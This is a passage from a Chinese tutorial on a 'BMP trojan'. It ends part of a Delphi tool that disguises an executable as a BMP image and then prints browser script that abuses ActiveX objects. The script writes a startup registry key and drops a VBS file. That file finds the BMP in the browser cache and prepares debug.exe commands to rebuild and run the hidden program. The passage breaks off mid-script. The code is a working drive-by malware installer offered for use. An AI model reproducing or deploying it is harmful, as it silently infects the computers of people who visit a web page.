详解BMP木马(2)
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.
以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件.大家打开MSDOS方式,输入
exe2bmp myexe.exe mybmp.bmp
回车就可以把第二个参数所指定的EXE文件转换成BMP格式.
接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.所以大家放在网页上最好用这样的格式
以下是放在网页上的脚本
document.write( );
function docsave()
{
a=document.applets[0];
a.setCLSID({F935DC22-1CF0-11D0-ADB9-00C04FD58A0B});
a.createInstance();
wsh=a.GetObject();
a.setCLSID({0D43FE01-F093-11CF-8940-00A0C9054228});
a.createInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys+\\s.vbs;
wsh.RegWrite
(HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs,wscript +"+vbs+" );
var st=fso.CreateTextFile(vbs,true);
st.WriteLine(Option Explicit);
st.WriteLine(Dim FSO,WSH,CACHE,str);
st.WriteLine(Set FSO = CreateObject("Scripting.FileSystemObject"));
st.WriteLine(Set WSH = CreateObject("WScript.Shell"));
st.WriteLine(CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache"));
st.WriteLine(wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs"));
st.WriteLine (wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe");
st.WriteLine(SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp");
st.WriteLine(WScript.Quit());
st.WriteLine(Function SearchBMPFile(Folder,fname));
st.WriteLine( Dim SubFolder,File,Lt,tmp,winsys);
st.WriteLine( str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & fname);
st.WriteLine( if FSO.FileExists(str) then);
st.WriteLine( tmp=fso.GetSpecialFolder(2) & "\\");
st.WriteLine( winsys=fso.GetSpecialFolder(1) & "\\");
st.WriteLine( set File=FSO.GetFile(str));
st.WriteLine( File.Copy(tmp & "tmp.dat"));
st.WriteLine( File.Delete);
st.WriteLine( set Lt=FSO.CreateTextFile(tmp & "tmp.in"));
st.WriteLine( Lt.WriteLine("rbx"));
st.WriteLine( Lt.WriteLine("0"));
st.WriteLine( Lt.WriteLine("rcx"));
st.WriteLine( Lt.WriteLine("1000"));
st.WriteLine( Lt.WriteLine("w136"));
st.WriteLine( Lt.WriteLine("q"));
内容版权声明:除非注明,否则皆为本站原创文章。